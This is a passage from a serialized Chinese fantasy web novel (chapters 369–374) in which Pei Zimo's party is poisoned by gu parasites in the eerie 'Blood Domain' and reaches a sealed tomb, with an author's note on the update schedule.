“萧家如此恶毒,我可不愿意跟她搅上什么关系。”鬼卿说着顿了顿,“至于她肚子里的孩子到底是谁的,我也不是很清楚,我猜可能是她预感到了什么,想要给萧家留下血脉吧。不过我当时并不关心这个事,所以也没问过。” “再后来你就找上了我。”鬼卿皱了下眉头,转头看向裴子墨,“这中间的原委你也不愿意听我解释,便逼迫我把自己封印起来。” “那时的你,跟现在可完全不一样,那会我也从来没想过,我们还能心平气和的坐下来聊天。圣殿这十几年,虽然过得不像是我自己,但确实改变了我很多。” “是啊。”裴子墨垂眼看着自己的手指,“那时候的我,心里的怨气并不比你少。我以为你是被怨气所控制,像曾经的我一样,犯下大错。不过这一世,确实是平和了不少。”她说着轻轻眯了眯眼,“我们当时去地府查看过萧玲珑的三生石,但好像有些事跟你说的不太一样。” “你觉得我在骗你?”鬼卿眸色一沉。 裴子墨摇了摇头,“三生石上的事情是骗不了人的,可是……我并没有亲眼看到萧玲珑的三生石。” 她说着捏住衣角,“那一次去地府也在我的谋划之中,孟婆受我所托,把我推下忘川。在忘川里,我会解开记忆上最大的封印,这一点也只有忘川水才能办到。但是我在忘川里受了伤,在加上封印被冲开,我也受了冲击,所以陷入了昏迷。” “当时那三生石是裴黎、白锦夜和萧玲珑转世的魂魄一起看的。之后盛京那边出了事,白锦夜忙着天风国的事情,三生石上的事情,基本都是裴黎讲给我。” “我也只是后来说话间想到什么,问过两次白锦夜,不过也没发现有什么出入。” 她眯了眯眼,“可白锦夜不会术法,若是裴黎想要蒙骗他也不是不可能。还有另外一种可能,就是当时萧玲珑转世的魂魄已经恢复了本来的记忆,她用幻术让裴黎和白锦夜看到的,都是假的。而且后来那三生石就碎了。” “从地府出来之后,我也知道那一次我去地府真正的目的是落入忘川,所有的事情也在按部就班的发生,所以我对于三生石上的事情也没有那么在意。” “现在想想,三生石可没那么容易碎掉啊。”裴子墨轻轻笑了笑,毕竟当年白锦夜的三生石就是她亲手打碎的啊。 *** 好久没看评论啦,今天翻了评论看了看~ 见到有小伙伴支持还是很开心的,所以加一更。 因为不知道别的平台会不会同步作家的话,所以就把这段放到了正文里面。 周一到周五每天正常保底2更,晚上9点前更新。 周六周日3更。 如果有加更可能会晚一点,大家都可以跟第二天的章节一起看。 小伙伴们的建议也看到了,其实我也想过修改一下前面,等后面有时间的时候会梳理下。 因为前面的反转比较多,转来转去可能给一些小伙伴转懵了。 尤其是前几天新冠发烧的时候,感觉脑子不转了,那几天写的章节也不是很满意,有时间可能也会完善下。 后面尽量少反转,尽量不挖坑直接说。 但是……emmmmm应该还有一次最大的反转,咳咳。 好啦,感谢支持,大家都早点休息哦~ 第369章 血域的村庄 “算了,现在想这些也没什么用,等离开血域再说吧。”裴子墨收起书,站起身,又看向鬼卿,“不过在圣殿这十几年,多少也是委屈你了。当年把你炼制成冥尸的时候,你就是因为记着以前的事情,才出了纰漏,会嗜血嗜杀。” “这些年我帮你压制着杀意,但如今看来,已经不需要了。等把凌幽的魂魄放回去,你若是有自己想做的事,只要不滥杀无辜,便去做吧。” 说完裴子墨往马车走去。 鬼卿看着裴子墨的背影,轻轻皱起眉头。 上了马车,冷鸢趁着寒羽在外面吃鸡,便给裴子墨的伤口换药。 她看着这伤口完全没有愈合的趋势,包扎用的纱布和棉花几乎都湿透了,又翻了翻随身带的包裹,这一次换了药,就再没有药和纱布可以用了。 身上带的,本来就是临时用的,也没有多少。 “我们这还不知道要多少天才能到地方,这么下去,你身体怎么受得了?”冷鸢拧起眉头,“就没有什么办法么?” 裴子墨看向七杀斩,这剑是在她那几世怨气最盛的时候炼制的,这剑本身就有一点邪气,也确实是按照她最开始想过的,只要被这剑伤到,伤口便很难愈合。 只是没想到,如今伤到了自己身上而已。 她轻轻摇了摇头,没有说话。 冷鸢叹了口气,“不然……让鬼卿送这人去你说的那个地方,我陪着你往回走吧,回到圣殿,就算药也比现在多。而且,上次白锦夜被刺伤,不是还有暗城的血菩提么?我们回去了,还可以去暗城借血菩提。” “没事,不会有什么事,流点血而已,我也没那么娇气,况且我身上还有血莲能保命。”裴子墨开口道,“不用太担心我。”顿了顿她又补充,“阿鸢,你放心,我若是真的有什么不舒服或者坚持不下去,会告诉你的。” “希望吧。”冷鸢手脚麻利的重新包扎好伤口,只希望赶紧把人送到地方,赶紧回去,于是掀开车帘,看着马车外的两个人,“你们两个休息好没有?赶紧上路吧,都是会术法的人,要休息这么久么?磨磨蹭蹭的真是麻烦。” 鬼卿自然不会反驳冷鸢的任何话,站起身便走了过来。 寒羽主要是舍不得手里的鸡,于是就拿着鸡上了车。 裴子墨笑着看他,以前如果有这么一只鸡摆在寒羽面前,他几口就吃完了,如今竟然学会细嚼慢咽了,顿了会,她转头看向冷鸢,“你们来血域的时间比较长,这里完全没有人烟么?” “也有。”冷鸢轻轻皱了下眉头,“但我只是远远地看到过有人,那些人看到我就都跑了,我也没有机会接近。之前我们也碰到过村庄,可是那些村庄里……”她说着想了想,像是不知道该怎么形容,“那些村庄里,虽然没有人,但是房间里都一尘不染,像是刚刚被打扫过,完全不像是没有人住的样子,我们也试过在村里等上几天,可是也等不到任何人。” “这地方安静的有些离谱,我们很难在周围感受到有生人的气息。” “你们没来之前,我们在这里也走了好多天,确实没遇到任何人。”裴子墨说着把车帘挂到一边,看向赶马车的鬼卿,“鬼卿,你知不知道血域以前是怎么样的?” “对啊。”冷鸢接话道,“之前你不是说是师父把你从血域带回去的么?我还以为你来了是找家人呢,怎么也从来没提起过跟你家人有关的事?” 裴子墨说的“以前”和冷鸢认为的“以前”当然不是同一个时候,鬼卿被封印之前,大概就是九域十二颠最后繁盛的时间了,在那之后,这一片土地就开始慢慢凋零。 “这里以前应该是比较繁华的。”鬼卿开口道,“我记得不是很清楚,但是……肯定不是空城死城。不过我倒是听说,以前血域这里的人,都修习一种秘法,秘法以血为本源,他们会猎杀各种有血的动物。” “如果一开始是动物,那动物逐渐变少,或者……觉得动物的血达不到他们预期的效果,那把目标放在人身上也不是不可能。” “所以之前冷鸢看到这里有人,但是那些人一见到生人就躲得很远,跟这可能也有关系。” 裴子墨沉默了会,把话题接了回来,“我之前在鬼卿的记忆里看到过一些画面。”那些画面是鬼卿从封印里出来,幻化成小孩子的模样,等在血域跟她师父“偶遇”时的画面,“哪里虽然也是血域,可是到处都是雾蒙蒙的,分不清黑天白夜,也确实是有人吃人的事情发生。” “血域这么大,也许血域仅剩的人都退居到哪里了。”冷鸢轻轻叹了口气。 走了小半天,马车停了下来,鬼卿看着前面开口道,“那里有个村子,但是感觉不到有人的气息,要进村子去看看么?” “不……” “去去去。”裴子墨刚要拒绝,冷鸢却出口答应了下来,“反正这些村子都没有人,咱们进去看看,有没有食物补充一些,要是有药就更好了。” 裴子墨还要说话,直接被冷鸢按住,她看向鬼卿继续道,“进村子,圣女的伤还没好,我们没药了。” 鬼卿转头看了看裴子墨,裴子墨也只能无奈地笑了笑,他便对着冷鸢点了点头,重新驾着马车往村子里面走。 “以前我们遇到的村子,其实也没有拿过他们东西,谁知道是真的没人还是假的没人。”冷鸢看向裴子墨,“不过咱们现在有需要,要是真的拿了东西,到时候给留点钱就是了。” “也好。”既然要去,裴子墨也就没再说不去的理由,只是说,“正好可以看看,也许能发现些这血域的秘密,万一真的有什么危险,咱们也能提前做些准备。” 马车在村子中间的广场上停了下来,这里入目红色也比较多,便留了寒羽在马车上守着凌珞,裴子墨、鬼卿和冷鸢三个人下了马车。 冷鸢抬手指了指,“那里好像是药铺,走,过去看看。” 第370章 血雾 三人走到药铺面前,见着药铺的门大敞四开,里面的药材整整齐齐的摆放着,却是真的没有人。 冷鸢走到门口,还是礼貌性的敲了敲门,喊了几声,见没有任何回应,正要进门,却被鬼卿拉住。 随即鬼卿先走了进去,在药铺里四下转了一圈,见没什么危险,才让她们两个进来。 冷鸢走到药架前,看着上面的药材,轻轻皱了下眉头,“圣女,这些药材长得很奇怪啊。” “嗯。”裴子墨拿起一块当归闻了闻,“这药材上面也有都红色的纹路,看起来跟这里的其他植物是一样的,可能是因为生长的土地的缘故,所以才会有这些纹路,但是闻起来味道倒是没什么不同。” 冷鸢微微有些为难,“那是用还是不用?” “用吧。”裴子墨点点头,“这些天,我们在血域,吃过这里的东西,也喝过这里的水,如果有事早就出事了,这些药材跟其他的食物没什么区别。” “好。”冷鸢点点头,找了纸,开始整理需要的药材。 裴子墨正看着,却见鬼卿对她使眼色,她也就走了过去。 鬼卿拉开了一个药材匣子,里面有不少球状干瘪的东西。 裴子墨怔了下,这些都是眼球,而且她也可以肯定,都是人的眼球,药材匣子的外面贴着标签——“明珠”,“以这个入药?真是前所未闻。” “这里确实有点奇怪。”鬼卿说着把药材匣子合上,“不管有人没人的地方,总该有些气息,生气,怨气……人死了也总该有死人的气息,可是这里什么都没有,太安静了。” 裴子墨点点头,转头看向冷鸢,“阿鸢,简单拿些就好了,咱们还是快点离开这。” “好。”冷鸢点点头,手上的速度也快了起来。 正说着话,外面突然传来寒羽焦急的喊声,“裴子墨,裴子墨,你快来!快看看凌珞!” 裴子墨皱起眉头,赶紧往外面走,可是脚刚迈出药铺的门口,外面就飘起淡淡的红色的雾气。 “别拿了,快走。”鬼卿抓住冷鸢的胳膊,往外走。 冷鸢抱着手里的药材,也只能随手拽了一张银票放在桌子上,立刻跟着鬼卿往外面走。 只不过刚走了两步,雾气就越来越浓,好在三个人也没分开,鬼卿一手抓着冷鸢,另外一只手也抓住了裴子墨,“马车离这里不远,没事。” 裴子墨拧着眉,马车确实是离这里不远,按照这个距离,她应该是能感受到寒羽他们的气息的,可是这雾气好像隔绝了他们的气息。 “裴子墨,怎么回事啊?”不远处传来寒羽的喊声,“怎么这么大雾?你们在哪呢?你快来看看凌珞,他突然开始抽搐了,还在吐血,怎么办啊?” “我们正在过来,你别下马车,别动。”裴子墨赶紧回话。 “好,我不下马车,我按着凌珞呢。”寒羽的声音听着有点慌。 裴子墨也知道,这里本来到处都是红色寒羽就很烦,如今这雾气又是红色,他可能在这雾气里都快要窒息了。 “凌珞怎么会突然抽搐?跟着雾气有关?”冷鸢皱起眉。 “应该不是。”鬼卿摇了摇头,“也许是他的魂魄遇到了什么事,所以会反应在身体之上。” 裴子墨拧了下眉,凌珞的魂魄需要破开断魂箭,若是有什么情况倒也正常。 但眼下也顾不上这个,他们必须得马上回到马车那里,她沉了沉气,“咱们下了马车之后,是一直往前走。这村子不大,店铺都是围绕这个广场,从药铺到广场中心,也不过百步左右的距离,咱们现在慢慢的往前面走,走一段跟寒羽说两句话,看看离他有没有变近。” 按照裴子墨说的方法,三个人慢慢的往前走,也不停的跟寒羽说话,通过声音来调整方向。 很快几个人便离马车越来越近,最后一次听到寒羽说话,感觉寒羽就应该在三五步之外的距离。 只是等他们走过去停下来,却什么都没有发现。 “寒羽?”裴子墨又喊了一声,可是这一次根本就没有人回答她的话。 “人呢?”冷鸢伸手往四周摸了几下,什么都摸不到,“刚刚声音不就在这里么?” 三个人沉默了半响,最后鬼卿才开了口,“你确定,刚才是寒羽在叫你么?” 裴子墨转头看向鬼卿,她皱眉想了会,“第一声,确实是寒羽,那时候还能感受到他的气息,但是出门之后,这雾气上来,说实话……声音是寒羽的声音,可我感觉不到他的气息,确实没办法确定。” 鬼卿微微眯了眯眼,“这雾气太奇怪了,得想办法赶紧出去。” 裴子墨点点头,正想要辨别方向,肩头的伤口却疼得更加厉害,就连人都开始有点眩晕,她起初还以为是因为这雾气影响了呼吸,可是她抬手捂住伤口,却摸了一手的血。 之前这伤口虽然也在流血,但是并没有这么严重。 她收回手,看着手上的血,血碰到雾气,很快就消失不见了,但是她手周围的雾气却更红了。 显然是这雾气在吸收她的血,之后颜色会变得更深。 而她自然也是因为失血过多,才会有些头晕。 鬼卿离她近,也看到了她手上的变化,他脸色微变,他和冷鸢身上没有伤口,在这雾气里也没有事,可是裴子墨的伤在雾气里肯定会越来越严重。 他拧着眉从衣服上撕下一条布,先系在冷鸢和自己的手腕上,防止走散,随即背起裴子墨,“咱们得赶紧出去。” 冷鸢正想要问什么,却见到裴子墨的肩头被血殷红了一片,但红色很快消失,随即再殷红一片,当下也明白这雾气让裴子墨肩头的伤势加重了,“这该死的鬼地方。” “现在也不知道走到哪了,咱们靠边走,摸着那些店铺和人家,看看能不能摸出一条路来。”裴子墨开口道,“或者先想办法回药铺。” “嗯。”鬼卿点点头。 三个人在雾里不停的摸索,丝毫没有头绪,可裴子墨却却越来越虚弱,她趴在鬼卿的背上,想要睁开眼睛都变得有些困难了。 “你们在干什么呢?怎么这么久了还不回来?”寒羽的声音又蓦地在不远处响起来。 第371章 蛊 “是不是在偷吃什么好吃的?”寒羽又嘟囔了一句。 随着寒羽的声音,三人周围的雾气慢慢散去,鬼卿才惊讶的发现,他们竟然还在药铺里面。 浓雾消失,鬼卿转头看去,寒羽已经走到了门口,站在门外拧眉看着他们三个。 见到寒羽要迈步进来,鬼卿赶紧制止他,“你别过来!” 他的声音猛地拔高,吓了寒羽一跳,寒羽四下看了看,又把脚收了回来,“你们拿完药了么?赶紧回来吧,看看凌珞怎么了。” 鬼卿也不敢再在这里待下去,赶紧往外走。 冷鸢有些疑惑地转头看了一眼,见她之前拿出来的银票还放在桌子上,她轻轻皱了下眉头,跟着一起走了出去。 迅速的回了马车上,鬼卿片刻不敢耽搁,就赶着马车离开了村子,等到了外面开阔的平地上,他才停下了马车,“怎么样?” “伤口重新包扎了,但是血止不住。”冷鸢死死地拧着眉,“这几天这血本来就是止不住,不过好在流的也不算多,也还能撑着,这一次是失了太多的血了。”她说完看向旁边的凌珞,“他身上出现了一些痕迹,很奇怪。” 寒羽也帮不上忙,于是就让开了身体,让鬼卿上了马车。 鬼卿坐在凌珞的旁边,看着他脸上出现了一些红色丝状的纹路,他拉开他的领口,见这纹路一直往下延伸,身上也有不少。 他拧了拧眉,转头看向寒羽,“他身上这纹路是什么时候出现的?” 寒羽想了想,“你们下马车的时候还没有,我看你们进了药铺,等了一会也没见你们出来,不经意一转头,就看到他身上有这痕迹了,喊了你们几声,你们也没反应,我就想着过去看看。” 鬼卿和冷鸢对视了一眼,他们确实一开始听到寒羽喊了一声,也回答了他的话,但现在显然凌珞并没有抽搐吐血,后面的,就全都是他们的幻觉了,“你没有看到雾气?” “什么雾气?”寒羽反问。 鬼卿没有说话,所以也不知道是那药铺有问题,还是……那个叫“明珠”的药匣子有问题。 他抬眼看向马车外面,他们在血域深处,不管继续往前走,还是回去,都是很长的路,现在裴子墨开始昏迷,凌珞这也不知道是什么情况,确实有些麻烦了。 “怎么办?”冷鸢也开口问出声,“继续往前走,还是……” 鬼卿收回目光,看了看裴子墨,沉默了会才道,“继续往前走吧,我去赶车,咱们加快速度,她要是醒过来,你问问她怎么办,或者我可以一个人出去取药,再回来找你们。” “好。”冷鸢点点头。 鬼卿便出去赶马车了。 寒羽回到马车里,抬起手,有一下没一下地摸着凌珞脸上的血色纹路,隔了会,眨了眨眼睛,又转头看向冷鸢带回来的药材,他随手拿起来一块,拿着看了半响,才道,“你看凌珞脸上的纹路,跟这药材好像啊。” 冷鸢轻轻点点头,“也不知道到底是怎么回事。” 寒羽眨巴着眼睛,看看药材,看看凌珞,没再说话。 马车颠簸下,裴子墨睁开眼睛,她看了看周围,发现已经回到了马车里,“我们出来了?” 冷鸢赶紧扶她坐起来,把她昏迷后的情况说了下,又让她看了凌珞。 裴子墨抓起凌珞的手,看了会,轻轻眯起眼,“也就是说,凌珞出现这些纹路的时候,可能咱们就已经进入幻觉了。”她说着抬起手,看着自己手心的红线,“他这些纹路应该跟魂魄没有关系,因为我们两个共命,可能跟那些雾气有关系。我们感觉到雾气的时候,是雾气变浓了,雾气刚出现的时候,我们可能还没发现。” “那雾气能吸血,也可能……进入了我的身体。”她说着抬手摸了摸自己肩头的伤口,“所以凌珞这边才会也跟着有反应。” “那现在怎么办?”冷鸢开口问道。 裴子墨抿起唇,这种共命的术法,只有在生命受到威胁的时候,才会在另外一个人的身上体现,不然是不会影响到另外一个人的,不过现在这话说出来,也只是会让冷鸢徒增担心,她轻轻摇了摇头,“没关系,你忘了我有血莲?这血域的事,处处奇怪,等咱们把凌珞送过去之后,绕路回去吧。” “要不然我来赶马车,让鬼卿回去拿药。”冷鸢说着顿了顿,“不知道暗城的血菩提还能不能用了。” “算了。”裴子墨往前看了看,“感觉应该快到那山上了,鬼卿一来一去也要不少时间,那时候我们说不定已经安顿好了凌珞,从其他路离开了。” 冷鸢轻轻叹了口气,“那你先休息,有什么事我叫你。” 裴子墨点点头,重新闭上了眼睛。 鬼卿可以不休息,但是马是要休息的,他再着急,该停下来的时候还是要停下来。 不过好在裴子墨也没有说错,确实是已经快到老和尚说的山了,在第五天的时候,终于看到了那山的全貌,当天下午,便到了山脚。 离得远远的,鬼卿便皱起眉头,他隐约的感觉到那山下有人,而且……气息也很熟悉。 果然,近了才发现是两人两马。 楚星玄靠在树干上,嘴里叼着一棵草,隔着老远就认出了鬼卿,他瞥了白锦夜一眼,“你看,我就说我知道的这条近路可以赶在他们前面。往山上去就这么一条路,等在这,就是守株待兔,不然血域这么大的地方,你去找他们还不是无头苍蝇乱撞?” 白锦夜没有理他,往马车前迎了几步。 寒羽对白锦夜多少还是更亲近一些,他也总是听左辞念叨,所以见到白锦夜就赶紧招呼他,“快过来快过来,裴子墨受伤了。” 白锦夜本来也在想,这次再见面,还不知道要说些什么,可没想到,准备的所有话到现在都没了用处,毕竟裴子墨这两天基本都在昏迷之中。 寒羽大概说了下裴子墨受伤的事,白锦夜虽然没有别的办法,但是起码他可以养血莲。 正打算割破手喂养血莲的时候,楚星玄在一旁扫了扫裴子墨和凌珞,漫不经心地道,“哦,是蛊啊。” 第372章 血线虫 既然是蛊,就算是撞到楚星玄的手里了,那就好办。 白锦夜正要让开身,让楚星玄来解蛊的时候,却见他摆了摆手。 “一般的蛊虫,裴子墨自己就解决了,她没解决,证明这蛊挺厉害的。她现在身体虚弱,拔蛊也不容易,你可以先养养血莲,我看看怎么回事。”楚星玄说着转头看向鬼卿,正要说话,却突然皱起眉头。 他摸着下巴,眼里带着几丝探究,随即便开口道,“鬼卿,你帮我把这人抬出来,反正他和裴子墨身上的蛊差不多,我拿他先练练手。” 把凌珞抬到一边,楚星玄蹲下来一边看凌珞的情况一边的对着鬼卿低声道,“你从西河城离开的时候,身上的气息和现在可完全不一样,这是有什么际遇?” “跟你有什么关系?”鬼卿皱起眉头。 “可真硬气,等着我救你们圣女,还问跟我有什么关系。”楚星玄轻笑了一声,“不过你这气息再变,变得再厉害也没用,你只要一天是冥尸,你们家圣女就能控制你。” “那又如何?”鬼卿对楚家和暗城本身也没有多好的印象,也不过就是之前楚星玄跟裴子墨有些许的交情,不然他根本不想搭理任何楚家的人。 “没什么。”楚星玄抬头看着站在一旁的鬼卿,“只是觉得你们家圣女眼光还不错,如今你术法这么高,可还是受制于她,她让你往东你就得往东,让你往西你就得往西,让你跪下你就不敢站着。我只是有点唏嘘,还是她这手段高明,不像是我那个爹……”他说着嗤笑道,“估摸着现在竹篮子打水一场空,已经气疯了。” 闻言鬼卿微微皱了下眉,没有说话。 “楚星玄,你过来。”白锦夜掀开车帘看过来,“不行,现在血莲不吸血了,养不了,你来看看怎么回事。” “你瞧瞧,做了圣女的男人,说话也硬气,就这么对我颐指气使。”楚星玄叹了口气,“这一路舟车劳顿,也不知道说句谢谢,好像是我欠他们的。”虽然抱怨,他也还是站起身走了过去。 查看了半响,他轻轻皱起眉头,“这血莲的事,你别指望我,我肯定是不清楚。” 冷鸢和鬼卿也是一样,眼下估摸着最了解血莲的两个人,都不是清醒的状况。 “想办法拔蛊吧。”隔了会,楚星玄开口道,“你们得把中蛊当时的情形,详细的跟我说一遍。” 冷鸢看向鬼卿,示意他来说,当时她在装药材,有些细节可能是错过了。 鬼卿便把当时的事情,完完整整地说了一遍。 楚星玄拧着眉,从药材包里拿出了一块药材,盯着药材,眉头就皱得更紧。 “这里很多东西都有这红色的纹路。”冷鸢开口道,“不只是这药材,还有花草树木也有,甚至不知道水是不是都有,只不过看不见。” 楚星玄转头看了看冷鸢,又抬手指了指身后的山,“你去看看。” 冷鸢不明所以,但是还是走过去查看了下,很快便回到马车前,脸上有些诧异,“这里的花草树木为什么都是正常的?我看了地上的土地,也是泛了红色,但是为什么花草树木上没有红色纹路?” 楚星玄割破自己的手指,滴了一滴血到药材上,他的血可以避百蛊,那红色的纹路遇到他的血瞬间扭曲起来,随即便往回缩,很快药材便恢复了常态,一丝红色的纹路都没有了。等他把自己的血擦去,那红色的纹路又慢慢浮现出来,变得跟刚才一样。 “这些都是蛊虫。”他说着转头看了看冷鸢等人,“你们吃过这里的东西,恐怕身体里也有蛊虫了,只不过没有伤口,这蛊虫没有碰到鲜血,所以还没有复苏。裴子墨是因为受伤流血,这蛊虫才活跃起来。” “那……”冷鸢的脸色难看,“那这些药材上的蛊虫,岂不是也进入圣女的身体了?这些天,我一直在给她用这些药材。” 楚星玄叹了口气,“我暂时想不到解蛊的方法,不然咱们先上山?” 往山上走,只有一条很小的路,马车肯定是上不去了。 白锦夜背着裴子墨,寒羽和鬼卿轮流背着凌珞。 冷鸢解开了马身上的绳索,让它饿了能自己去找吃的,也不指望它能等他们下山,只是别饿死了就行。 楚星玄看着马甩着尾巴吃草,忍不住开口道,“你就算放了它,它也不见得能活多久了,你们中了蛊,它也一样,现在还没什么反应,但是……”他说着扳过马头,扒开它的眼皮给冷鸢看了一眼。 马的眼白上,已经有隐隐的红色纹路了。 裴子墨他们本身自己带了干粮,在血域吃的东西,肯定没有这马多。 冷鸢拧了拧眉,脸色有些不快,“你给我看这个有什么用?有时间就赶紧想想怎么解蛊。” 楚星玄无语地看着这一行人,“诶,我说你们求人有没有点求人的态度?一个比一个说话硬气,我是招谁惹谁了我?”他抱怨着跟在冷鸢身边,“你再给我使脸色,回头最后给你解蛊,等你难受到求我的时候,我再考虑是不是要帮你。” 冷鸢走了几步,又转身回去把马牵上了。 楚星玄看着她,“怎么?怕蛊毒犯了,没人管你,所以牵上马,到时候还有马驮着你?” “我觉得你这个人心术不正,到时候有了解蛊的方法,先用这马做实验,等蛊毒确实解除了,再给我们圣女解蛊。”冷鸢瞥了楚星玄一眼,继续往前走。 楚星玄摊了摊手,懒得再说话给自己找气受。 “你对这里,看样子挺熟悉的。”白锦夜的脚步缓了缓,等楚星玄走上来,便开口问道。 楚星玄轻咳了一声,不过想着他现在跟暗城也没什么关系了,就算这是暗城的秘密,他也没必要保守了,“暗城养蛊,一直以来,便经常来血域抓蛊虫。听说以前的时候,是暗城给血域他们想要的东西,他们会定期把蛊虫送过来。不过后来,就只能自己过来抓蛊虫了。” “既然这样,你也应该知道这是什么蛊。”白锦夜皱了下眉头,转头看向楚星玄。 楚星玄沉默哦会才道,“血线虫。” 第373章 他这一次是真的自由了 白锦夜沉默了会,没再听到楚星玄说话,便只能继续问,“你知道这是什么,难道不知道解蛊的方法么?” “说实话,我确实不知道。”楚星玄有点无奈地笑了笑,“血域里的蛊千千万万,血域的人自己也养蛊,这血线虫差不多是他们的看家蛊虫,这么多年来,暗城其实一直都想得到这血线虫的养殖和使用方法,但是无论提出什么样的条件,血域的人都不肯答应。” “后来,听说连着几次血域的人都没有再按照约定送来蛊虫,暗城就过来查探,才发现血域的人好像都不见了。” “以前血域的人送来蛊虫,会告知这蛊虫的使用方法,对暗城来说,倒是特别省时省力,可血域的人没有了,暗城只能自己抓蛊虫,抓到以前见过的蛊虫还好,若是抓到的蛊虫是以前没见过的,就不知道要损失多少人力物力。” “至于这血线虫,也不是没见过,可是始终没办法抓到活的血线虫,更是一直没找到特别好的解蛊方法。” “大多数中了血线虫的人都死了,我以前听他们提起过,倒也不是所有的人都死了。有一个能活下来,是血线虫刚刚入体,他就砍断了自己的胳膊,算是保住了一条命。另外一个人,虽然保住了命,可是却双目失明,一身的术法也废了。” “要给裴子墨解蛊,你总不希望用这样的方法吧?她也许宁愿死,都不见得愿意废掉这一身的术法。” 白锦夜轻轻地叹了口气,“可她现在一直昏迷不醒,也不知道还能坚持多久,你要是想不到更好的解蛊方法……” “迫不得已的时候,就没办法了。”楚星玄微微皱了下眉头,没再说话。 这山倒不算太高,半天后,就到了山顶的平台。 山上光秃秃的,连树木都没有,所以也就一眼看到那山洞。 几人正要往山洞走的时候,裴子墨突然低“哼”了一声,随即整个人都紧绷起来。 白锦夜赶紧把她放下来,抱着她压住她的手,防止她伤害到自己。 她看起来很痛苦,像是全身都在疼,这样的疼痛也让她从昏迷中清醒过来。 她一睁眼,便见到白锦夜,有那么一瞬间还以为只是自己的幻觉,顿了会,又见到旁边的楚星玄,才大概明白了什么。 “这是血线虫,你们几个人都中蛊了,你知道么?”楚星玄看着她,低声问道。 裴子墨摇了摇头,她也没想到这会是蛊虫,甚至完全没有认出来,不过听楚星玄这么说,她下意识地转头朝冷鸢和鬼卿看过去。 “他们暂时没事。”白锦夜垂眼看着她,“你身上有伤,要比他们严重。” 裴子墨闭了闭眼,半响才挤出几个字,“血……莲……呢?” “血莲现在不吸血了,应该跟这蛊虫有关系。”白锦夜说着看向楚星玄,“你想到办法了么?” “这才过了半天,我就算想办法哪有这么快?”楚星玄拧着眉。 裴子墨的手疼得有些颤抖,但是还是费力的往怀里摸去,只是摸了半响,手抖的厉害,什么都没摸到。 知道她这是要找东西,白锦夜便伸手过去翻了翻,摸到了一个小瓷瓶,“是这个?” 裴子墨点点头。 白锦夜打开瓷瓶,里面是红色的液体,他也见过,这是血莲晶露,便赶紧扶好裴子墨,给她喝了些下去。 这血莲晶露喝下去,裴子墨身上的疼痛迅速的退去,她的呼吸也变得均匀下来。 还好之前为了拉着凌珞的一口气,白锦夜那些日子喂养了血莲不少,之后老和尚稳住了凌珞的情况,血莲上多余的力量,就全都结成了血莲晶露,除了给老和尚留了一些以外,剩下的裴子墨也就都留下备用了。 见裴子墨的情况好了些,冷鸢便赶紧开口道,“圣女,咱们已经到山上了,你说的那个山洞,应该就在前面,咱们现在赶紧把凌珞放进去,就回圣殿吧。” 裴子墨点点头,抬眼看向鬼卿。 鬼卿走过去查看了下洞口的情况,又很快走了回来,“借七杀斩用一下,那洞口有阵法,要破阵可能麻烦些。” 裴子墨把七杀斩递过去,鬼卿很快就破开了洞口的阵法。 * 这一处的阵法破开,平县那处破庙里,老和尚猛地睁开眼睛,低声道,“他们还真的找到那地方了。”说完他便站起身,往外走了几步,到了院子里面。 中年和尚也慌乱地跑出来,“师父,师父,西厢房要塌了。” “塌就塌了,这是好事。”老和尚抬眼看去,眼见着西边的房顶慢慢塌陷,最后“轰隆”一声,整个西厢房都塌了。 中年和尚一脸的惋惜,“完了完了,吃的都在里面,还一块肘子和两坛酒,这下肯定浪费了。” 他这话音落下,旁边的东厢房也传来响声。 中年和尚往东厢房走了两步,又赶紧退回来,看着东厢房也瞬间变为废墟,整个人都快哭出来了,“师父,这可是咱们大部分的家当啊,要是这佛堂也……” 像是为了呼应他的话,中间的佛堂也应声而倒。 中年和尚这下是真的哭出来了,“师父,咱们无家可归了。” “哈哈哈。”老和尚大笑了几声,抬手拍了拍中年和尚的肩膀,“傻徒弟,怎么能说是无家可归呢?天下之大,四海为家,可比被困在这小小的院子里好啊。” “师父,你是不是气疯了?怎么这时候还笑啊?”中年和尚有些担忧地看着老和尚,“师父,你别怕,我还有力气,大不了我出去化缘来养活你,不然咱们就去别的寺庙挂单,总之是饿不死,就是恐怕没这么自由了,再也没办法随意吃肉喝酒了。” “自由?这是自由?”老和尚看着自己的傻徒弟,无奈地笑了笑,“这破院子有几千年了,要不是困阵支撑,早就塌了,塌了好,塌了好!” 他说着转头往北边看去,他这困阵的阵眼,在他几个师弟那里,他被困在这,这些年已经找了无数的人帮他去破开那几处阵眼。 可血域的这最后一处,前后也去了不少人,如今终于破开了。 他这一次是真的自由了。 第374章 咱们的合作还得继续 洞口的阵法破开,里面封印了上千年的气体涌出来,鬼卿往后退了几步,等气体散尽了,才走进去检查了一圈。 随后退了出来,回到裴子墨面前,“里面只有正中间立着一个白玉石的棺材,那棺材上没有缝隙,隐约能见到里面有尸体,但是不知道怎么打开。” 裴子墨轻轻皱起眉头,那老和尚倒是没说这一点,不过也有可能他也不知道,便道,“扶我过去看看吧。” 白锦夜把她扶起来,慢慢地往山洞走。 裴子墨转头看了他一眼,才低声问,“你什么时候来的?” 白锦夜转头看了看其他人,隔了会才道,“等你好了,我们再说这些。” 裴子墨轻轻皱了下眉,没有说话。 进了山洞,她绕着石棺看了一圈,仔细想了好一会才道,“我在古籍上看过这种棺材,是以术法特殊制成,如果外力强制破开,棺材里面的尸体和东西都会毁于一旦。所以只能用固定的方法打开和关上,一旦关上,便可保尸身万年不腐,那老和尚倒也没有骗我们。” “至于打开的方法……”她说着后退了两步,“我恐怕要仔细想想了。” 说了这几句话,她便已经上气不接下气,喘得厉害。 “就算想到了打开的方法,以你现在的情况,恐怕也没办法打开。”鬼卿说着转头看向楚星玄,虽然没说话,但是眼神显然是在逼迫他赶紧想办法。 楚星玄拧了拧眉,“这山洞够大,也算是有了个遮风挡雨的地方,看外面的天也快黑了,咱们就先住下,我赶紧想办法就是了。” 鬼卿收回目光,站了会只是说,“我出去找点吃的。” “我跟你一起去吧。”冷鸢说着跟他往外走,白锦夜来了,肯定要照顾裴子墨,她虽然不想见到白锦夜跟裴子墨在一起,可现在裴子墨受伤,她也不能这时候让她为了这种小事操心。 于是眼不见为净。 跟着鬼卿走了一段,冷鸢才忍不住开口道,“鬼卿,你别跟我说,你对圣女一点想法都没有,我不瞎,我以前看的出来,你对圣女的关心,可不仅仅因为我们被圣殿养大而她是圣女,你明明喜欢她,为什么不说?白锦夜到底有什么好的?” 鬼卿转头看了看她,“谁好谁不好,她自己心里清楚,想要跟谁在一起,她自己心里也有选择。” 